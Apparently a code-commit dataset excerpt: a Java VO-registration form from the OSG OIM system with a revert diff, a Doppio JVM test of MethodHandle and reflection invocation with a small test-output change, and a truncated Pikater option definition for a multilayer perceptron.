//new DivRepStaticContent(this, "<h2>Sub-VO Mapping</h2>");
//new DivRepStaticContent(this, "<p>Check if this VO is a sub-VO of an existing VO. For example, FermilabMinos is a sub VO of the Fermilab VO.</p>");
child_vo = new DivRepCheckBox(this);
child_vo.setLabel("This is a sub-VO of an existing VO (ex. FermilabMinos is a sub VO of the Fermilab VO)");
parent_vo = new DivRepSelectBox(this, vos);
parent_vo.setLabel("Select a Parent VO");
parent_vo.addClass("indent");
hideParentVOSelector(true);
child_vo.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
if(((String)e.value).compareTo("true") == 0) {
hideParentVOSelector(false);
} else {
hideParentVOSelector(true);
}
}
});
if(id != null) {
VOModel model = new VOModel(context);
VORecord parent_vo_rec = model.getParentVO(id);
if(parent_vo_rec != null) {
parent_vo.setValue(parent_vo_rec.id);
child_vo.setValue(true);
hideParentVOSelector(false);
}
// AG: Need to clean this up; especially for VOs that are not child VOs of a parent
// .. perhaps a yes/no first?
}
parent_vo.addEventListener(new DivRepEventListener () {
public void handleEvent(DivRepEvent e) {
handleParentVOSelection(Integer.parseInt((String)e.value));
}
});
description = new DivRepTextArea(this);
description.setLabel("Enter a Description for this VO");
description.setValue(rec.description);
description.setRequired(true);
description.setSampleValue("Collider Detector at Fermilab");
community = new DivRepTextArea(this);
community.setLabel("Describe the Community this VO serves");
community.setValue(rec.community);
community.setRequired(true);
community.setSampleValue("The Collider Detector at Fermilab (CDF) experimental collaboration is committed to studying high energy particle collisions");
new DivRepStaticContent(this, "<h2>Additional Information for VOs that include OSG Users</h2>");
///////////////////////////////////////////////////////////////////////////////////////////
ToolTip tip = new ToolTip("Uncheck this checkbox if your VO does not intend to use any OSG resources, and just wants to provide services to the OSG.");
new DivRepStaticContent(this, "<span class=\"right\">"+tip.render()+"</span>");
science_vo = new DivRepCheckBox(this);
science_vo.setLabel("This VO has users who do OSG-dependent scientific research.");
science_vo.setValue(rec.science_vo);
science_vo_info = new ScienceVOInfo(this, rec);
science_vo.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideScienceVODetail();
}
});
// New VO addition attempt - we want the checkbox checked by default for new VO additions
if(rec.id == null) {
science_vo.setValue(true);
}
showHideScienceVODetail();
///////////////////////////////////////////////////////////////////////////////////////////
new DivRepStaticContent(this, "<h2>OASIS Information</h2>");
new DivRepStaticContent(this, "<p class=\"help-block\">Only OASIS Administrator can update this information. Please contact GOC for an assistance.</p>");
use_oasis = new DivRepCheckBox(this);
use_oasis.setLabel("OASIS Enabled");
use_oasis.setValue(rec.use_oasis);
use_oasis.addEventListener(new DivRepEventListener() {
public void handleEvent(DivRepEvent e) {
showHideOasisUsers();
}
});
ArrayList<VOOasisUserRecord> users = null;
if(rec.id != null) {
VOOasisUserModel vooumodel = new VOOasisUserModel(context);
users = vooumodel.getByVOID(rec.id);
}
oasis_info = new OASISInfo(this, users, rec.getOASISRepoUrls());
if(!auth.allows("admin_oasis")) {
use_oasis.setDisabled(true);
oasis_info.setDisabled(true);
}
showHideOasisUsers();
///////////////////////////////////////////////////////////////////////////////////////////
new DivRepStaticContent(this, "<h2>Contact Information</h2>");
HashMap<Integer/*contact_type_id*/, ArrayList<VOContactRecord>> voclist_grouped = null;
if(id != null) {
VOContactModel vocmodel = new VOContactModel(context);
ArrayList<VOContactRecord> voclist = vocmodel.getByVOID(id);
voclist_grouped = vocmodel.groupByContactTypeID(voclist);
} else {
//set user's contact as submitter
voclist_grouped = new HashMap<Integer, ArrayList<VOContactRecord>>();
ArrayList<VOContactRecord> submitter_list = new ArrayList<VOContactRecord>();
VOContactRecord submitter = new VOContactRecord();
submitter.contact_id = auth.getContact().id;
submitter.contact_rank_id = 1;//primary
submitter.contact_type_id = 1;//submitter
submitter_list.add(submitter);
voclist_grouped.put(1/*submitter*/, submitter_list);
// Should we make a function for these steps and call it 4 times? -agopu
ArrayList<VOContactRecord> manager_list = new ArrayList<VOContactRecord>();
VOContactRecord manager = new VOContactRecord();
manager.contact_id = auth.getContact().id;
manager.contact_rank_id = 1;//primary
manager.contact_type_id = 6;//manager
manager_list.add(manager);
voclist_grouped.put(6/*manager*/, manager_list);
ArrayList<VOContactRecord> admin_contact_list = new ArrayList<VOContactRecord>();
VOContactRecord primary_admin = new VOContactRecord();
primary_admin.contact_id = auth.getContact().id;
primary_admin.contact_rank_id = 1;//primary
primary_admin.contact_type_id = 3;//admin
admin_contact_list.add(primary_admin);
voclist_grouped.put(3/*admin*/, admin_contact_list);
ArrayList<VOContactRecord> security_contact_list = new ArrayList<VOContactRecord>();
VOContactRecord primary_security_contact= new VOContactRecord();
primary_security_contact.contact_id = auth.getContact().id;
primary_security_contact.contact_rank_id = 1;//primary
primary_security_contact.contact_type_id = 2;//security_contact
security_contact_list.add(primary_security_contact);
voclist_grouped.put(2/*security_contact*/, security_contact_list);
}
ContactTypeModel ctmodel = new ContactTypeModel(context);
for(ContactTypeRecord.Info contact_type : ContactTypes) {
tip = new ToolTip(contact_type.desc);
ContactEditor editor = createContactEditor(voclist_grouped, ctmodel.get(contact_type.id), tip);
switch(contact_type.id) {
case 1://submitter
//only oim admin can edit submitter
if(!auth.allows("admin")) {
editor.setDisabled(true);
}
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 2://security contact
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 3://admin
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 5://misc
break;
case 6://manager
editor.setMinContacts(ContactRank.Primary, 1); //required
break;
case 11://ra
editor.setDisabled(!auth.allows("admin_ra"));
//editor.setLabel(ContactRank.Primary, "Primary RA");
//editor.setLabel(ContactRank.Secondary, "Secondary RA");
editor.setMaxContacts(ContactRank.Secondary, 8);
break;
case 12://sponsor
editor.setMinContacts(ContactRank.Primary, 0);
editor.setMinContacts(ContactRank.Secondary, 0);
editor.setMaxContacts(ContactRank.Secondary, 36);//requested by Alain Deximo during 3/25/2013 internal meeting
break;
}
contact_editors.put(contact_type.id, editor);
}
new DivRepStaticContent(this, "<h2>Confirmation</h2>");
confirmation = new Confirmation(this, rec, auth);
if(auth.allows("admin")) {
new DivRepStaticContent(this, "<h2>Administrative</h2>");
}
LinkedHashMap<Integer, String> signers = CertificateManager.getSigners();
certificate_signer = new DivRepSelectBox(this, signers);
certificate_signer.setLabel("Certificate Signer");
certificate_signer.setHidden(true);
certificate_signer.setHasNull(false);
certificate_signer.setValue(CertificateManager.Signers.valueOf(rec.certificate_signer).ordinal());
//keep this only available for debug for now.
if(auth.allows("admin") || auth.allows("admin_ra")) {
certificate_signer.setHidden(false);
}
active = new DivRepCheckBox(this);
active.setLabel("Active");
active.setValue(rec.active);
if(!auth.allows("admin")) {
active.setHidden(true);
}
disable = new DivRepCheckBox(this);
disable.setLabel("Disable");
disable.setValue(rec.disable);
if(!auth.allows("admin")) {
disable.setHidden(true);
}
if(id == null) {
AUPConfirmation aup = new AUPConfirmation(this);
}
comment = new DivRepTextArea(this);
comment.setLabel("Update Comment");
comment.setSampleValue("Please provide a reason for this update.");
}
private void hideParentVOSelector(Boolean b)
{
parent_vo.setHidden(b);
parent_vo.redraw();
}
private ContactEditor createContactEditor(HashMap<Integer, ArrayList<VOContactRecord>> voclist, ContactTypeRecord ctrec, ToolTip tip) throws SQLException
{
new DivRepStaticContent(this, "<h3>" + ctrec.name + " " + tip.render() + "</h3>");
ContactModel pmodel = new ContactModel(context);
ContactEditor editor = new ContactEditor(this, pmodel, ctrec.allow_secondary, ctrec.allow_tertiary);
//if provided, populate currently selected contacts
if(voclist != null) {
ArrayList<VOContactRecord> clist = voclist.get(ctrec.id);
if(clist != null) {
for(VOContactRecord rec : clist) {
ContactRecord keyrec = new ContactRecord();
keyrec.id = rec.contact_id;
ContactRecord person = pmodel.get(keyrec);
editor.addSelected(person, rec.contact_rank_id);
}
}
}
return editor;
}
private LinkedHashMap<Integer, String> getSCNames() throws AuthorizationException, SQLException
{
SCModel model = new SCModel(context);
ArrayList<SCRecord> recs = model.getAllActiveNonDisabled();
Collections.sort(recs, new Comparator<SCRecord> () {
public int compare(SCRecord a, SCRecord b) {
return a.getName().compareToIgnoreCase(b.getName());
}
});
LinkedHashMap<Integer, String> keyvalues = new LinkedHashMap<Integer, String>();
for(SCRecord rec : recs) {
keyvalues.put(rec.id, rec.name);
}
return keyvalues;
}
private LinkedHashMap<Integer, String> getVONames() throws AuthorizationException, SQLException
{
//pull all VOs
VOModel model = new VOModel(context);
ArrayList<VORecord> recs = model.getAll();
Collections.sort(recs, new Comparator<VORecord> () {
public int compare(VORecord a, VORecord b) {
return a.getName().compareToIgnoreCase(b.getName());
}
});
LinkedHashMap<Integer, String> keyvalues = new LinkedHashMap<Integer, String>();
for(VORecord rec : recs) {
keyvalues.put(rec.id, rec.name);
}
return keyvalues;
}
private void handleParentVOSelection(Integer parent_vo_id) {
VOModel model = new VOModel (context);
try {
VORecord parent_vo_rec = model.get(parent_vo_id);
if ((primary_url.getValue() == null) || (primary_url.getValue().length() == 0)) {
primary_url.setValue(parent_vo_rec.primary_url);
}
if ((aup_url.getValue() == null) || (aup_url.getValue().length() == 0)) {
aup_url.setValue(parent_vo_rec.aup_url);
}
if ((membership_services_url.getValue() == null) || (membership_services_url.getValue().length() == 0)) {
membership_services_url.setValue(parent_vo_rec.membership_services_url);
}
if ((purpose_url.getValue() == null) || (purpose_url.getValue().length() == 0)) {
purpose_url.setValue(parent_vo_rec.purpose_url);
}
if ((support_url.getValue() == null) || (support_url.getValue().length() == 0)) {
support_url.setValue(parent_vo_rec.support_url);
}
redraw();
if (sc_id.getValue() == null) {
sc_id.setValue(parent_vo_rec.sc_id);
sc_id.redraw();
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
protected Boolean doSubmit()
{
VORecord rec = new VORecord();
rec.id = id;
rec.name = name.getValue();
rec.long_name = long_name.getValue();
rec.description = description.getValue();
rec.primary_url = primary_url.getValue();
rec.aup_url = aup_url.getValue();
rec.membership_services_url = membership_services_url.getValue();
rec.purpose_url = purpose_url.getValue();
rec.support_url = support_url.getValue();
rec.app_description = app_description.getValue();
rec.community = community.getValue();
rec.sc_id = sc_id.getValue();
rec.confirmed = confirmation.getTimestamp();
rec.active = active.getValue();
rec.disable = disable.getValue();
rec.science_vo = science_vo.getValue();
rec.use_oasis = use_oasis.getValue();
rec.cert_only = cert_only.getValue();
rec.setOASISRepoUrls(oasis_info.getRepoURLs());
CertificateManager.Signers[] signers = CertificateManager.Signers.values();
rec.certificate_signer = signers[certificate_signer.getValue()].name();
context.setComment(comment.getValue());
ArrayList<VOContactRecord> contacts = getContactRecordsFromEditor();
HashMap<FieldOfScienceRecord, FOSRank/*rank*/> foss = field_of_science_de.getFOSRecords();
/*
ArrayList<Integer> field_of_science_ids = new ArrayList();
for(Integer id : field_of_science_de.getSciences().keySet()) {
DivRepCheckBox elem = field_of_science_de.getSciences().get(id);
if(elem.getValue()) {
field_of_science_ids.add(id);
}
}
*/
VOModel model = new VOModel(context);
try {
if(rec.id == null) {
model.insertDetail(rec,
contacts,
parent_vo.getValue(),
foss,
vo_report_name_div.getVOReports(model),
oasis_info.getManagerContacts());
context.message(MessageType.SUCCESS, "Successfully registered new VO. You should receive a notification with an instruction on how to active your VO.");
try {
//Find the Footprint ID of the associated SC
SCModel scmodel = new SCModel(context);
SCRecord screc = scmodel.get(rec.sc_id);
//create footprint ticket
Footprints fp = new Footprints(context);
fp.createNewVOTicket(rec.name, screc);
} catch (Exception fpe) {
log.error("Failed to open footprints ticket: ", fpe);
}
} else {
model.updateDetail(rec,
contacts,
parent_vo.getValue(),
foss,
vo_report_name_div.getVOReports(model),
oasis_info.getManagerContacts());
context.message(MessageType.SUCCESS, "Successfully updated a VO.");
}
return true;
} catch (Exception e) {
alert(e.getMessage());
log.error("Failed to insert/update record", e);
return false;
}
}
//retrieve contact records from the contact editor.
//be aware that VOContactRecord's vo_id is not populated.. you need to fill it out with
//appropriate vo_id later
private ArrayList<VOContactRecord> getContactRecordsFromEditor()
{
ArrayList<VOContactRecord> list = new ArrayList();
for(Integer type_id : contact_editors.keySet())
{
ContactEditor editor = contact_editors.get(type_id);
HashMap<ContactRecord, ContactRank> contacts = editor.getContactRecords();
for(ContactRecord contact : contacts.keySet()) {
VOContactRecord rec = new VOContactRecord();
ContactRank rank = contacts.get(contact);
rec.contact_id = contact.id;
rec.contact_type_id = type_id;
rec.contact_rank_id = rank.id;
list.add(rec);
}
}
return list;
}
}
| Revert "removed debug check for signer switch"
This reverts commit 2a8dd054a80b3c8480cc30b4b00a59191f07c2e3.
| src/edu/iu/grid/oim/view/divrep/form/VOFormDE.java | Revert "removed debug check for signer switch" | <ide><path>rc/edu/iu/grid/oim/view/divrep/form/VOFormDE.java
<ide> certificate_signer.setValue(CertificateManager.Signers.valueOf(rec.certificate_signer).ordinal());
<ide>
<ide> //keep this only available for debug for now.
<del> if(auth.allows("admin") || auth.allows("admin_ra")) {
<del> certificate_signer.setHidden(false);
<add> if(StaticConfig.isDebug()) {
<add> if(auth.allows("admin") || auth.allows("admin_ra")) {
<add> certificate_signer.setHidden(false);
<add> }
<ide> }
<ide>
<ide> active = new DivRepCheckBox(this); |
|
Java | mit | 1a736339ae2bb900c73ffb800e7f0a7112fed195 | 0 | Wanderfalke/doppio,plasma-umass/doppio,netopyr/doppio,plasma-umass/doppio,jmptrader/doppio,bpowers/doppio,Wanderfalke/doppio,jmptrader/doppio,netopyr/doppio,jmptrader/doppio,bpowers/doppio,Wanderfalke/doppio,bpowers/doppio,netopyr/doppio,plasma-umass/doppio | package classes.test;
import classes.test.shared_classes.*;
import java.lang.invoke.*;
import java.lang.reflect.*;
import java.math.BigDecimal;
/**
* Tests Method/Field slot lookup. Uses reflection to test lookup.
*/
public class SlotTest {
private static <U,V,W> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, W arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
}
return null;
}
private static <U,V> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, int arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
}
return null;
}
private static <U,V> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, byte arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
t.printStackTrace();
}
return null;
}
private static void throwsException(int count) throws Exception {
// Count indicates desired depth of stack trace past the reflection boundary.
if (--count == 0) {
throw new Exception("I throw exceptions.");
} else {
throwsException(count);
}
}
public static void main(String[] args) {
ISpeak.ISpeakHelperStatic ishs = new ISpeak.ISpeakHelperStatic();
ishs.accessTest();
MethodHandles.Lookup lookup = MethodHandles.lookup();
String[] methodNames = {"speak", "protectedSpeak", "privateSpeak"};
for (int i = 0; i < methodNames.length; i++) {
System.out.println("Looking up method " + ishs.getClass().getName() + "." + methodNames[i]);
try {
Method m = ishs.getClass().getDeclaredMethod(methodNames[i]);
System.out.println("\tFound method.");
m.invoke(ishs);
} catch (NoSuchMethodException e) {
System.out.println("\tCould not find method.");
} catch (IllegalAccessException e) {
System.out.println("\tIllegalAccessException");
} catch (InvocationTargetException e) {
System.out.println("\tInvocationTargetException.");
}
System.out.println("MethodHandle:");
try {
MethodHandle mh = lookup.findVirtual(ishs.getClass(), methodNames[i], MethodType.methodType(void.class));
System.out.println("\tInvoke");
mh.invoke(ishs);
try {
System.out.println("\tInvokeExact");
mh.invokeExact(ishs);
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
}
} catch (NoSuchMethodException e) {
System.out.println("\tNoSuchMethodException");
} catch (IllegalAccessException e) {
System.out.println("\tIllegalAccessException");
} catch (Throwable t) {
System.out.println("\tCaught exception: " + t);
}
}
// Adapted from http://www.slideshare.net/hendersk/method-handles-in-java
MethodType mt = MethodType.methodType (BigDecimal.class, int.class);
try {
MethodHandle power = lookup.findVirtual(BigDecimal.class, "pow", mt);
BigDecimal p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), 2);
p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), (byte) 2);
// Invoke will convert boxed values into primitives.
p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), new Integer(2));
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), 2);
// InvokeExact failures:
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), (byte) 2);
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), new Integer(2));
// InvokeExact fails even if its just the RV that is different:
Object o = tryInvoke(power, true, new Object(), new BigDecimal(5), 2);
// Try completely incorrect values w/ invoke non-exact.
o = tryInvoke(power, false, new Object(), new Object(), new Object());
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
}
// Call a method that throws an exception through reflection and MHs.
mt = MethodType.methodType(void.class, int.class);
System.out.println("Throwing exception through reflection...");
try {
MethodHandle te = lookup.findStatic(SlotTest.class, "throwsException", mt);
System.out.println("Invoke:");
try {
te.invoke(4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
System.out.println("InvokeExact:");
try {
te.invokeExact(4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
Method m = SlotTest.class.getDeclaredMethod("throwsException", int.class);
System.out.println("Reflection:");
try {
m.invoke(null, 4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
// Difference in stack trace line numbers. :(
// t.printStackTrace();
}
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
}
// Attempt to call invoke and friends from Reflection (should throw exception).
// invokeExact([Ljava/lang/Object;)Ljava/lang/Object;
mt = MethodType.methodType(Object.class, Object[].class);
System.out.println("Attempting to call invoke methods via reflection...");
try {
Method invokeExactMethod = MethodHandle.class.getDeclaredMethod("invokeExact", Object[].class);
Method invokeMethod = MethodHandle.class.getDeclaredMethod("invoke", Object[].class);
MethodHandle invoke = lookup.findVirtual(MethodHandle.class, "invoke", mt);
for (Method m : new Method[]{invokeMethod, invokeExactMethod}) {
try {
System.out.println("Via reflection...");
m.invoke(invoke, new Object[]{new Object[]{}});
} catch (UnsupportedOperationException e) {
System.out.println("UnsupportedOperationException: " + e);
} catch (InvocationTargetException e) {
Throwable cause = e.getCause();
System.out.println("InvocationTargetException cause: " + cause);
}
try {
System.out.println("Trying to unreflect...");
MethodHandle mh = lookup.unreflect(m);
mh.invoke(mh, new Object[]{new Object[]{}});
} catch (UnsupportedOperationException e) {
System.out.println("UnsupportedOperationException: " + e);
}
}
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
// TODO:
// - Call virtual methods.
// - Call interface methods.
// - Call constructor.
// - Call static methods.
}
}
| classes/test/SlotTest.java | package classes.test;
import classes.test.shared_classes.*;
import java.lang.invoke.*;
import java.lang.reflect.*;
import java.math.BigDecimal;
/**
* Tests Method/Field slot lookup. Uses reflection to test lookup.
*/
public class SlotTest {
private static <U,V,W> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, W arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
}
return null;
}
private static <U,V> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, int arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
}
return null;
}
private static <U,V> U tryInvoke(MethodHandle mh, boolean useExact, U rv, V arg1, byte arg2) {
try {
if (useExact) {
return (U) mh.invokeExact(arg1, arg2);
} else {
return (U) mh.invoke(arg1, arg2);
}
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
} catch (Throwable t) {
System.out.println("Caught: " + t);
t.printStackTrace();
}
return null;
}
private static void throwsException(int count) throws Exception {
// Count indicates desired depth of stack trace past the reflection boundary.
if (--count == 0) {
throw new Exception("I throw exceptions.");
} else {
throwsException(count);
}
}
public static void main(String[] args) {
ISpeak.ISpeakHelperStatic ishs = new ISpeak.ISpeakHelperStatic();
ishs.accessTest();
MethodHandles.Lookup lookup = MethodHandles.lookup();
String[] methodNames = {"speak", "protectedSpeak", "privateSpeak"};
for (int i = 0; i < methodNames.length; i++) {
System.out.println("Looking up method " + ishs.getClass().getName() + "." + methodNames[i]);
try {
Method m = ishs.getClass().getDeclaredMethod(methodNames[i]);
System.out.println("\tFound method.");
m.invoke(ishs);
} catch (NoSuchMethodException e) {
System.out.println("\tCould not find method.");
} catch (IllegalAccessException e) {
System.out.println("\tIllegalAccessException");
} catch (InvocationTargetException e) {
System.out.println("\tInvocationTargetException.");
}
System.out.println("MethodHandle:");
try {
MethodHandle mh = lookup.findVirtual(ishs.getClass(), methodNames[i], MethodType.methodType(void.class));
System.out.println("\tInvoke");
mh.invoke(ishs);
try {
System.out.println("\tInvokeExact");
mh.invokeExact(ishs);
} catch (WrongMethodTypeException e) {
System.out.println("WrongMethodTypeException: " + e);
}
} catch (NoSuchMethodException e) {
System.out.println("\tNoSuchMethodException");
} catch (IllegalAccessException e) {
System.out.println("\tIllegalAccessException");
} catch (Throwable t) {
System.out.println("\tCaught exception: " + t);
}
}
// Adapted from http://www.slideshare.net/hendersk/method-handles-in-java
MethodType mt = MethodType.methodType (BigDecimal.class, int.class);
try {
MethodHandle power = lookup.findVirtual(BigDecimal.class, "pow", mt);
BigDecimal p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), 2);
p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), (byte) 2);
// Invoke will convert boxed values into primitives.
p = tryInvoke(power, false, BigDecimal.ONE, new BigDecimal(5), new Integer(2));
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), 2);
// InvokeExact failures:
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), (byte) 2);
p = tryInvoke(power, true, BigDecimal.ONE, new BigDecimal(5), new Integer(2));
// InvokeExact fails even if its just the RV that is different:
Object o = tryInvoke(power, true, new Object(), new BigDecimal(5), 2);
// Try completely incorrect values w/ invoke non-exact.
o = tryInvoke(power, false, new Object(), new Object(), new Object());
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
}
// Call a method that throws an exception through reflection and MHs.
mt = MethodType.methodType(void.class, int.class);
System.out.println("Throwing exception through reflection...");
try {
MethodHandle te = lookup.findStatic(SlotTest.class, "throwsException", mt);
System.out.println("Invoke:");
try {
te.invoke(4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
System.out.println("InvokeExact:");
try {
te.invokeExact(4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
Method m = SlotTest.class.getDeclaredMethod("throwsException", int.class);
System.out.println("Reflection:");
try {
m.invoke(null, 4);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
}
// Attempt to call invoke and friends from Reflection (should throw exception).
// invokeExact([Ljava/lang/Object;)Ljava/lang/Object;
mt = MethodType.methodType(Object.class, Object[].class);
System.out.println("Attempting to call invoke methods via reflection...");
try {
Method invokeExactMethod = MethodHandle.class.getDeclaredMethod("invokeExact", Object[].class);
Method invokeMethod = MethodHandle.class.getDeclaredMethod("invoke", Object[].class);
MethodHandle invoke = lookup.findVirtual(MethodHandle.class, "invoke", mt);
for (Method m : new Method[]{invokeMethod, invokeExactMethod}) {
try {
System.out.println("Via reflection...");
m.invoke(invoke, new Object[]{new Object[]{}});
} catch (UnsupportedOperationException e) {
System.out.println("UnsupportedOperationException: " + e);
} catch (InvocationTargetException e) {
Throwable cause = e.getCause();
System.out.println("InvocationTargetException cause: " + cause);
}
try {
System.out.println("Trying to unreflect...");
MethodHandle mh = lookup.unreflect(m);
mh.invoke(mh, new Object[]{new Object[]{}});
} catch (UnsupportedOperationException e) {
System.out.println("UnsupportedOperationException: " + e);
}
}
} catch (NoSuchMethodException e) {
System.out.println("No such method: " + e);
} catch (IllegalAccessException e) {
System.out.println("IllegalAccessException: " + e);
} catch (Throwable t) {
System.out.println("Caught exception: " + t);
t.printStackTrace();
}
// TODO:
// - Call virtual methods.
// - Call interface methods.
// - Call constructor.
// - Call static methods.
}
}
| Adjusting test so it passes. Our test runner seems to be buggy, though...
| classes/test/SlotTest.java | Adjusting test so it passes. Our test runner seems to be buggy, though... | <ide><path>lasses/test/SlotTest.java
<ide> m.invoke(null, 4);
<ide> } catch (Throwable t) {
<ide> System.out.println("Caught exception: " + t);
<del> t.printStackTrace();
<add> // Difference in stack trace line numbers. :(
<add> // t.printStackTrace();
<ide> }
<ide> } catch (NoSuchMethodException e) {
<ide> System.out.println("No such method: " + e); |
|
Java | apache-2.0 | e095209d6c6edf6872db22f30f5adc81eda9ba2a | 0 | tomkren/pikater,tomkren/pikater,tomkren/pikater | package org.pikater.core.options.computing;
import java.util.ArrayList;
import java.util.Arrays;
import org.pikater.core.agents.experiment.computing.Agent_WekaMultilayerPerceptronCA;
import org.pikater.core.ontology.subtrees.agentInfo.AgentInfo;
import org.pikater.core.ontology.subtrees.batchDescription.ComputingAgent;
import org.pikater.core.ontology.subtrees.newOption.base.NewOption;
import org.pikater.core.ontology.subtrees.newOption.base.Value;
import org.pikater.core.ontology.subtrees.newOption.base.ValueType;
import org.pikater.core.ontology.subtrees.newOption.restrictions.RangeRestriction;
import org.pikater.core.ontology.subtrees.newOption.restrictions.SetRestriction;
import org.pikater.core.ontology.subtrees.newOption.restrictions.TypeRestriction;
import org.pikater.core.ontology.subtrees.newOption.values.BooleanValue;
import org.pikater.core.ontology.subtrees.newOption.values.DoubleValue;
import org.pikater.core.ontology.subtrees.newOption.values.FloatValue;
import org.pikater.core.ontology.subtrees.newOption.values.IntegerValue;
import org.pikater.core.ontology.subtrees.newOption.values.QuestionMarkRange;
import org.pikater.core.ontology.subtrees.newOption.values.StringValue;
import org.pikater.core.ontology.subtrees.newOption.values.interfaces.IValueData;
import org.pikater.core.options.OptionsHelper;
import org.pikater.core.options.SlotsHelper;
public class MultiLayerPerceptronCA_Box {
public static AgentInfo get() {
/**
# name, type, number of values, parameters range / set
# r ... range
# s ... set (example: s 1, 2, 3, 4, 5, 6, 7, 8)
#
# learning rate, default 0.3; 1 arguments
$ L float 1 1 r 0.001 1
**/
NewOption optionL = new NewOption("L", new FloatValue(0.3f), new RangeRestriction(
new FloatValue(0.001f),
new FloatValue(1.0f))
);
optionL.setDescription("Learning rate");
/**
# Momentum Rate for the back-propagation algorithm., Default = 0.2
$ M float 1 1 r 0 0.9
**/
RangeRestriction rangeRestrictionM = new RangeRestriction(new DoubleValue(0.0), new DoubleValue(0.9));
NewOption optionM = new NewOption("M", new DoubleValue(0.2), rangeRestrictionM);
optionM.getValueRestrictions().fetchByIndex(0).addType(new ValueType(
new QuestionMarkRange(rangeRestrictionM.getMinValue(), rangeRestrictionM.getMaxValue(), 10),
rangeRestrictionM
));
optionM.setDescription("Momentum Rate for the backpropagation algorithm");
/**
# Number of epochs to train through.
$ N int 1 1 r 1 10000
**/
NewOption optionN = new NewOption("N", new IntegerValue(1), new RangeRestriction(
new IntegerValue(1),
new IntegerValue(10000))
);
optionN.setDescription("Number of epochs to train through");
/**
# Percentage size of validation set to use to terminate
# training (if this is non zero it can pre-empt num of epochs.
# (Value should be between 0 - 100, Default = 0).
$ V int 1 1 r 0 100
**/
NewOption optionV = new NewOption("V", new IntegerValue(0), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(100))
);
optionV.setDescription("Percentage size of validation");
/**
# The value used to seed the random number generator
# (Value should be >= 0 and and a long, Default = 0).
$ S int 1 1 r 0 MAXINT
**/
NewOption optionS = new NewOption("S", new IntegerValue(0), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(Integer.MAX_VALUE))
);
optionS.setDescription("Seed the random number generator");
/**
# The consequetive number of errors allowed for validation
# testing before the netwrok terminates.
# (Value should be > 0, Default = 20).
$ E int 1 1 r 0 50
**/
NewOption optionE = new NewOption("E", new IntegerValue(20), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(50))
);
optionE.setDescription("The consequetive number of errors allowed for validation");
/**
# Learning rate decay will occur; 0 arguments
$ D boolean
**/
NewOption optionD = new NewOption("D", new BooleanValue(false));
optionD.setDescription("Learning rate");
/**
# Normalizing the attributes will NOT be done.
$ I boolean
**/
NewOption optionI = new NewOption("I", new BooleanValue(false));
